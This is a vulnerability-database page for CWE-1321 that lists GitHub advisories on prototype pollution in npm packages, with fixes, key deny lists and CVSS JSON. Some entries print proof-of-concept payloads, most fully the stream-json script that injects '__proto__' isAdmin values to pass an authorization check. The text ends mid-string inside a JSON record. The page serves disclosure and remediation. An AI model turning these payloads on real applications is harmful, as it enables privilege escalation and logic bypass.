CWE-1321
AllowedImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.
952 vulnerabilities reference this CWE, most recent first.
GHSA-MH29-5H37-FV8M
Vulnerability from github – Published: 2025-11-14 14:29 – Updated: 2026-01-31 03:32Impact
In js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it's possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (__proto__). All users who parse untrusted yaml documents may be impacted.
Patches
Problem is patched in js-yaml 4.1.1 and 3.14.2.
Workarounds
You can protect against this kind of attack on the server by using node --disable-proto=delete or deno (in Deno, pollution protection is on by default).
References
https://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.14.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64718"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-14T14:29:48Z",
"nvd_published_at": "2025-11-13T16:15:57Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nIn js-yaml 4.1.0, 4.0.0, and 3.14.1 and below, it\u0027s possible for an attacker to modify the prototype of the result of a parsed yaml document via prototype pollution (`__proto__`). All users who parse untrusted yaml documents may be impacted.\n\n### Patches\n\nProblem is patched in js-yaml 4.1.1 and 3.14.2.\n\n### Workarounds\n\nYou can protect against this kind of attack on the server by using `node --disable-proto=delete` or `deno` (in Deno, pollution protection is on by default).\n\n### References\n\nhttps://cheatsheetseries.owasp.org/cheatsheets/Prototype_Pollution_Prevention_Cheat_Sheet.html",
"id": "GHSA-mh29-5h37-fv8m",
"modified": "2026-01-31T03:32:42Z",
"published": "2025-11-14T14:29:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-mh29-5h37-fv8m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64718"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/issues/730#issuecomment-3549635876"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/commit/383665ff4248ec2192d1274e934462bb30426879"
},
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/commit/5278870a17454fe8621dbd8c445c412529525266"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-mh29-5h37-fv8m"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodeca/js-yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "js-yaml has prototype pollution in merge (\u003c\u003c)"
}
GHSA-MH82-55CM-6GFH
Vulnerability from github – Published: 2021-06-08 23:16 – Updated: 2022-06-29 20:42Prototype pollution vulnerability in 'js-extend' versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "js-extend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-25945"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-27T23:04:49Z",
"nvd_published_at": "2021-05-26T15:15:00Z",
"severity": "CRITICAL"
},
"details": "Prototype pollution vulnerability in \u0027js-extend\u0027 versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.",
"id": "GHSA-mh82-55cm-6gfh",
"modified": "2022-06-29T20:42:39Z",
"published": "2021-06-08T23:16:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25945"
},
{
"type": "PACKAGE",
"url": "https://github.com/vmattos/js-extend"
},
{
"type": "WEB",
"url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25945"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype pollution vulnerability in js-extend"
}
GHSA-MH8J-9JVH-GJF6
Vulnerability from github – Published: 2023-12-08 06:30 – Updated: 2023-12-08 15:49All versions of the package mockjs are vulnerable to Prototype Pollution via the Util.extend function due to missing check if the attribute resolves to the object prototype. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf).
User controlled inputs inside the extend() method of the Mock.Handler, Mock.Random, Mock.RE.Handler or Mock.Util, will allow an attacker to exploit this vulnerability.
Workaround
By using a denylist of dangerous attributes, this weakness can be eliminated.
Add the following line in the Util.extend function:
js js if (["proto", "constructor", "prototype"].includes(name)) continue
js // src/mock/handler.js Util.extend = function extend() { var target = arguments[0] || {}, i = 1, length = arguments.length, options, name, src, copy, clone
if (length === 1) {
target = this
i = 0
}
for (; i < length; i++) {
options = arguments[i]
if (!options) continue
for (name in options) {
if (["__proto__", "constructor", "prototype"].includes(name)) continue
src = target[name]
copy = options[name]
if (target === copy) continue
if (copy === undefined) continue
if (Util.isArray(copy) || Util.isObject(copy)) {
if (Util.isArray(copy)) clone = src && Util.isArray(src) ? src : []
if (Util.isObject(copy)) clone = src && Util.isObject(src) ? src : {}
target[name] = Util.extend(clone, copy)
} else {
target[name] = copy
}
}
}
return target
}
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mockjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-26158"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-08T15:49:13Z",
"nvd_published_at": "2023-12-08T05:15:07Z",
"severity": "HIGH"
},
"details": "All versions of the package mockjs are vulnerable to Prototype Pollution via the Util.extend function due to missing check if the attribute resolves to the object prototype. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf).\n\nUser controlled inputs inside the extend() method of the Mock.Handler, Mock.Random, Mock.RE.Handler or Mock.Util, will allow an attacker to exploit this vulnerability.\n\n Workaround\n\nBy using a denylist of dangerous attributes, this weakness can be eliminated.\n\nAdd the following line in the Util.extend function:\n\njs\njs if ([\"__proto__\", \"constructor\", \"prototype\"].includes(name)) continue\n\n\njs\n// src/mock/handler.js\nUtil.extend = function extend() {\n var target = arguments[0] || {},\n i = 1,\n length = arguments.length,\n options, name, src, copy, clone\n\n if (length === 1) {\n target = this\n i = 0\n }\n\n for (; i \u003c length; i++) {\n options = arguments[i]\n if (!options) continue\n\n for (name in options) {\n if ([\"__proto__\", \"constructor\", \"prototype\"].includes(name)) continue\n src = target[name]\n copy = options[name]\n\n if (target === copy) continue\n if (copy === undefined) continue\n\n if (Util.isArray(copy) || Util.isObject(copy)) {\n if (Util.isArray(copy)) clone = src \u0026\u0026 Util.isArray(src) ? src : []\n if (Util.isObject(copy)) clone = src \u0026\u0026 Util.isObject(src) ? src : {}\n\n target[name] = Util.extend(clone, copy)\n } else {\n target[name] = copy\n }\n }\n }\n\n return target\n }\n",
"id": "GHSA-mh8j-9jvh-gjf6",
"modified": "2023-12-08T15:49:13Z",
"published": "2023-12-08T06:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26158"
},
{
"type": "PACKAGE",
"url": "https://github.com/nuysoft/Mock"
},
{
"type": "WEB",
"url": "https://github.com/nuysoft/Mock/blob/00ce04b92eb464e664a4438430903f2de96efb47/dist/mock.js#L721-L755"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-MOCKJS-6051365"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "mockjs vulnerable to Prototype Pollution via the Util.extend function"
}
GHSA-MHWJ-73QX-JQXM
Vulnerability from github – Published: 2026-05-11 16:10 – Updated: 2026-05-11 16:10Summary
@theecryptochad/merge-guard versions prior to 1.0.1 are vulnerable to Prototype Pollution via the deepMerge() function. An attacker who controls the source object can inject __proto__ keys that mutate Object.prototype, affecting all objects in the Node.js runtime.
Details
The deepMerge() function recursively merges two objects without sanitizing reserved property keys (__proto__, constructor, prototype). When a source object contains a __proto__ key, its value is assigned to target.__proto__, which JavaScript engines interpret as a write to Object.prototype.
Proof of Concept
const { deepMerge } = require('@theecryptochad/merge-guard');
const payload = JSON.parse('{"__proto__":{"isAdmin":true}}');
deepMerge({}, payload);
console.log({}.isAdmin); // true — Object.prototype is polluted
Impact
Any application using deepMerge() with untrusted input (e.g. user-supplied JSON from HTTP requests, WebSocket messages, or config files) is vulnerable. An attacker can inject arbitrary properties onto Object.prototype, enabling privilege escalation, application logic bypass, and property injection.
Remediation
Upgrade to @theecryptochad/merge-guard >= 1.0.1, which adds an explicit blocklist:
const BLOCKED = new Set(['__proto__', 'constructor', 'prototype']);
if (BLOCKED.has(key)) continue;
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@theecryptochad/merge-guard"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T16:10:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`@theecryptochad/merge-guard` versions prior to 1.0.1 are vulnerable to Prototype Pollution via the `deepMerge()` function. An attacker who controls the source object can inject `__proto__` keys that mutate `Object.prototype`, affecting all objects in the Node.js runtime.\n\n## Details\n\nThe `deepMerge()` function recursively merges two objects without sanitizing reserved property keys (`__proto__`, `constructor`, `prototype`). When a source object contains a `__proto__` key, its value is assigned to `target.__proto__`, which JavaScript engines interpret as a write to `Object.prototype`.\n\n## Proof of Concept\n\n```js\nconst { deepMerge } = require(\u0027@theecryptochad/merge-guard\u0027);\nconst payload = JSON.parse(\u0027{\"__proto__\":{\"isAdmin\":true}}\u0027);\ndeepMerge({}, payload);\nconsole.log({}.isAdmin); // true \u2014 Object.prototype is polluted\n```\n\n## Impact\n\nAny application using `deepMerge()` with untrusted input (e.g. user-supplied JSON from HTTP requests, WebSocket messages, or config files) is vulnerable. An attacker can inject arbitrary properties onto `Object.prototype`, enabling privilege escalation, application logic bypass, and property injection.\n\n## Remediation\n\nUpgrade to `@theecryptochad/merge-guard \u003e= 1.0.1`, which adds an explicit blocklist:\n\n```js\nconst BLOCKED = new Set([\u0027__proto__\u0027, \u0027constructor\u0027, \u0027prototype\u0027]);\nif (BLOCKED.has(key)) continue;\n```\n\n## References\n- [CWE-1321: Improper Neutralization of Special Elements in Object Keys](https://cwe.mitre.org/data/definitions/1321.html)\n- [OWASP: Prototype Pollution](https://owasp.org/www-community/attacks/Prototype_Pollution)\n- [Fix commit](https://github.com/TheeCryptoChad/merge-guard/releases/tag/v1.0.1)",
"id": "GHSA-mhwj-73qx-jqxm",
"modified": "2026-05-11T16:10:12Z",
"published": "2026-05-11T16:10:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TheeCryptoChad/merge-guard/security/advisories/GHSA-mhwj-73qx-jqxm"
},
{
"type": "WEB",
"url": "https://github.com/TheeCryptoChad/merge-guard/commit/25e4b4f2618578a656ef3cb4946a1b475f736736"
},
{
"type": "PACKAGE",
"url": "https://github.com/TheeCryptoChad/merge-guard"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "@theecryptochad/merge-guard has Prototype Pollution in its deepMerge() function"
}
GHSA-MJ3G-7XCC-X4VH
Vulnerability from github – Published: 2026-07-31 17:49 – Updated: 2026-07-31 17:49Impact
A prototype pollution vulnerability exists in @phun-ky/defaults-deep prior to version 2.0.5.
The library recursively merged user-supplied objects without filtering unsafe property names such as __proto__, constructor, and prototype. An attacker able to supply crafted input could cause properties to be written to Object.prototype, resulting in prototype pollution affecting all objects within the running process.
Applications that pass untrusted input to defaultsDeep() may be impacted. Depending on how the application uses merged objects, this could lead to unexpected behavior, logic bypasses, denial of service, or other security issues.
Patches
This issue has been fixed in version 2.0.5.
Users should upgrade to version 2.0.5 or later.
The fix prevents unsafe prototype-related keys (__proto__, constructor, and prototype) from being processed during recursive merge operations and includes regression tests covering known prototype pollution vectors.
Workarounds
Users unable to upgrade should ensure that untrusted input is sanitized before being passed to defaultsDeep().
At a minimum, applications should reject or remove the following property names from all levels of user-controlled objects:
__proto__constructorprototype
Upgrading to a patched version remains the recommended mitigation.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@phun-ky/defaults-deep"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54737"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T17:49:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nA prototype pollution vulnerability exists in @phun-ky/defaults-deep prior to version 2.0.5.\n\nThe library recursively merged user-supplied objects without filtering unsafe property names such as `__proto__`, `constructor`, and `prototype`. An attacker able to supply crafted input could cause properties to be written to `Object.prototype`, resulting in prototype pollution affecting all objects within the running process.\n\nApplications that pass untrusted input to `defaultsDeep()` may be impacted. Depending on how the application uses merged objects, this could lead to unexpected behavior, logic bypasses, denial of service, or other security issues.\n\n### Patches\n\nThis issue has been fixed in version 2.0.5.\n\nUsers should upgrade to version 2.0.5 or later.\n\nThe fix prevents unsafe prototype-related keys (`__proto__`, `constructor`, and `prototype`) from being processed during recursive merge operations and includes regression tests covering known prototype pollution vectors.\n\n### Workarounds\n\nUsers unable to upgrade should ensure that untrusted input is sanitized before being passed to `defaultsDeep()`.\n\nAt a minimum, applications should reject or remove the following property names from all levels of user-controlled objects:\n\n- `__proto__`\n- `constructor`\n- `prototype`\n\nUpgrading to a patched version remains the recommended mitigation.",
"id": "GHSA-mj3g-7xcc-x4vh",
"modified": "2026-07-31T17:49:09Z",
"published": "2026-07-31T17:49:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/phun-ky/defaults-deep/security/advisories/GHSA-mj3g-7xcc-x4vh"
},
{
"type": "WEB",
"url": "https://github.com/phun-ky/defaults-deep/pull/49"
},
{
"type": "WEB",
"url": "https://github.com/phun-ky/defaults-deep/commit/807dba930f8718f9126cad59d949b8fd3539b059"
},
{
"type": "PACKAGE",
"url": "https://github.com/phun-ky/defaults-deep"
},
{
"type": "WEB",
"url": "https://github.com/phun-ky/defaults-deep/releases/tag/2.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "@phun-ky/defaults-deep Has a Prototype Pollution issue via Unsafe Recursive Property Merging"
}
GHSA-MJ4P-GMHR-92G3
Vulnerability from github – Published: 2024-06-17 18:31 – Updated: 2024-07-05 17:26akbr update 1.0.0 is vulnerable to Prototype Pollution via update/index.js.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@akbr/update"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-36578"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-17T22:30:05Z",
"nvd_published_at": "2024-06-17T16:15:15Z",
"severity": "MODERATE"
},
"details": "akbr update 1.0.0 is vulnerable to Prototype Pollution via update/index.js.",
"id": "GHSA-mj4p-gmhr-92g3",
"modified": "2024-07-05T17:26:43Z",
"published": "2024-06-17T18:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36578"
},
{
"type": "WEB",
"url": "https://gist.github.com/mestrtee/8bc749ec2b5453d887b2f4a362a65897"
},
{
"type": "PACKAGE",
"url": "https://github.com/akbr/update"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "@akbr/update Prototype Pollution"
}
GHSA-MJ9H-QP8G-G746
Vulnerability from github – Published: 2024-07-30 21:31 – Updated: 2024-08-01 15:32chase-moskal snapstate v0.0.9 was discovered to contain a prototype pollution via the function attemptNestedProperty. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.
{
"affected": [],
"aliases": [
"CVE-2024-39010"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-30T20:15:04Z",
"severity": "CRITICAL"
},
"details": "chase-moskal snapstate v0.0.9 was discovered to contain a prototype pollution via the function attemptNestedProperty. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.",
"id": "GHSA-mj9h-qp8g-g746",
"modified": "2024-08-01T15:32:15Z",
"published": "2024-07-30T21:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39010"
},
{
"type": "WEB",
"url": "https://gist.github.com/mestrtee/af7a746df91ab5e944bd7a186816c262"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJJJ-6P43-VHHV
Vulnerability from github – Published: 2022-06-25 00:00 – Updated: 2022-06-29 21:52All versions of package deep-get-set are vulnerable to Prototype Pollution via the 'deep' function. Note: This vulnerability derives from an incomplete fix of CVE-2020-7715
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "deep-get-set"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-21231"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-29T21:52:18Z",
"nvd_published_at": "2022-06-24T20:15:00Z",
"severity": "HIGH"
},
"details": "All versions of package deep-get-set are vulnerable to Prototype Pollution via the \u0027deep\u0027 function. **Note:** This vulnerability derives from an incomplete fix of [CVE-2020-7715](https://security.snyk.io/vuln/SNYK-JS-DEEPGETSET-598666)",
"id": "GHSA-mjjj-6p43-vhhv",
"modified": "2022-06-29T21:52:18Z",
"published": "2022-06-25T00:00:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21231"
},
{
"type": "PACKAGE",
"url": "https://github.com/acstll/deep-get-set"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-DEEPGETSET-2342655"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in deep-get-set"
}
GHSA-MJW6-4JJ6-33HC
Vulnerability from github – Published: 2026-10-05 22:49 – Updated: 2026-10-05 22:49Summary
A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.
Details
The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a proto key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.
PoC
Run:
node poc-stream-json-proto-injection.mjs
Full proof-of-concept source (poc-stream-json-proto-injection.mjs):
// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys
// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)
// Root cause: Assembler builds every object as a plain `Object` and writes
// `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,
// ToPropertyKey → inherited Object.prototype __proto__ setter fires)
// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change
// Run: node poc-stream-json-proto-injection.mjs (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)
import { parser } from 'stream-json';
import jsoncParser from 'stream-json/jsonc/Parser.js';
import { streamValues } from 'stream-json/streamers/stream-values.js';
import { streamObject } from 'stream-json/streamers/stream-object.js';
import { Readable } from 'node:stream';
const sv = (input, P = parser) => new Promise((res, rej) => {
const vals = [];
Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())
.on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);
});
const so = (input) => new Promise((res, rej) => {
const out = {};
Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())
.on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);
});
let pass = 0, fail = 0;
const check = (name, cond) => { if (cond) { pass++; console.log(` PASS ${name}`); } else { fail++; console.log(` FAIL ${name}`); } };
const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}';
const baseline = JSON.parse(INPUT);
const sv1 = (await sv(INPUT))[0];
const so1 = await so(INPUT);
const jc1 = (await sv(INPUT, jsoncParser))[0];
const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user;
const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0];
const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0];
const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0];
console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');
check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]');
check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}');
check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));
check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);
check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser');
check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);
check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);
check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]');
check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]');
console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==');
check('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__'));
check('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined);
check('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype);
console.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like ==');
check('proto is attacker Array (av[0]=="isAdmin", av[1]=="role")', arrProto[0] === 'isAdmin' && arrProto[1] === 'role');
check('legit data lands at attacker-indexed position (av[2]=="bob", length 3)', arrProto[2] === 'bob' && arrProto.length === 3);
console.log('== D. FAIL-CLOSED CONTROLS ==');
check('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype && Object.keys(prim).length === 1);
check('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') && ({}).polluted === undefined);
check('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined && ({}).isAdmin === undefined);
console.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==');
const authorize = o => o.isAdmin === true && o.role === 'superuser';
check('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true);
check('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false);
const target = { theme: 'light' };
for (const k in sv1) target[k] = sv1[k]; // typical naive/hardened merge (for-in)
check('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)',
Object.prototype.hasOwnProperty.call(target, 'isAdmin') && target.isAdmin === true);
const t2 = { theme: 'light' };
for (const k in baseline) t2[k] = baseline[k]; // JSON.parse twin stays clean
check('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin'));
console.log(`\nRESULT: ${pass} PASS / ${fail} FAIL`);
process.exit(fail ? 1 : 0);
Observed output (verbatim, Node 24.15.0, Windows):
RESULT: 21 PASS / 0 FAIL
Impact
Prototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json <= 3.5.0; no patched version exists.
Maintainer note on scope
The attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global Object.prototype); "__proto__": null additionally strips Object.prototype from the parsed object, so ordinary consumer code calling hasOwnProperty() throws. Assembler and FlexAssembler now create an own data property for a __proto__ key, exactly as JSON.parse does.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "stream-json"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-104183"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:49:19Z",
"nvd_published_at": "2026-10-01T21:17:19Z",
"severity": "MODERATE"
},
"details": "### Summary\nA prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object\u0027s prototype.\n\n### Details\nThe streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object\u0027s prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.\n\n### PoC\n\nRun:\n```bash\nnode poc-stream-json-proto-injection.mjs\n```\n\nFull proof-of-concept source (poc-stream-json-proto-injection.mjs):\n```js\n// stream-json v3.5.0 (npm latest) \u2014 local [[Prototype]] replacement via `__proto__` keys\n// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)\n// Root cause: Assembler builds every object as a plain `Object` and writes\n// `this.current[this.key] = value` (src/core/assembler.js:160,180 \u2014 plain assignment,\n// ToPropertyKey \u2192 inherited Object.prototype __proto__ setter fires)\n// Spec baseline: JSON.parse (CreateDataProperty) \u2192 own data property, no prototype change\n// Run: node poc-stream-json-proto-injection.mjs (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)\nimport { parser } from \u0027stream-json\u0027;\nimport jsoncParser from \u0027stream-json/jsonc/Parser.js\u0027;\nimport { streamValues } from \u0027stream-json/streamers/stream-values.js\u0027;\nimport { streamObject } from \u0027stream-json/streamers/stream-object.js\u0027;\nimport { Readable } from \u0027node:stream\u0027;\n\nconst sv = (input, P = parser) =\u003e new Promise((res, rej) =\u003e {\n const vals = [];\n Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())\n .on(\u0027data\u0027, d =\u003e vals.push(d.value)).on(\u0027end\u0027, () =\u003e res(vals)).on(\u0027error\u0027, rej);\n});\nconst so = (input) =\u003e new Promise((res, rej) =\u003e {\n const out = {};\n Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())\n .on(\u0027data\u0027, d =\u003e { out[d.key] = d.value; }).on(\u0027end\u0027, () =\u003e res(out)).on(\u0027error\u0027, rej);\n});\n\nlet pass = 0, fail = 0;\nconst check = (name, cond) =\u003e { if (cond) { pass++; console.log(` PASS ${name}`); } else { fail++; console.log(` FAIL ${name}`); } };\n\nconst INPUT = \u0027{\"__proto__\":{\"isAdmin\":true,\"role\":\"superuser\"},\"name\":\"bob\",\"age\":30}\u0027;\nconst baseline = JSON.parse(INPUT);\nconst sv1 = (await sv(INPUT))[0];\nconst so1 = await so(INPUT);\nconst jc1 = (await sv(INPUT, jsoncParser))[0];\nconst nested = (await sv(\u0027{\"user\":{\"__proto__\":{\"isAdmin\":true},\"name\":\"alice\"}}\u0027))[0].user;\nconst arrProto = (await sv(\u0027{\"__proto__\":[\"isAdmin\",\"role\"],\"name\":\"bob\"}\u0027))[0];\nconst prim = (await sv(\u0027{\"__proto__\":\"x\",\"name\":\"bob\"}\u0027))[0];\nconst ctor = (await 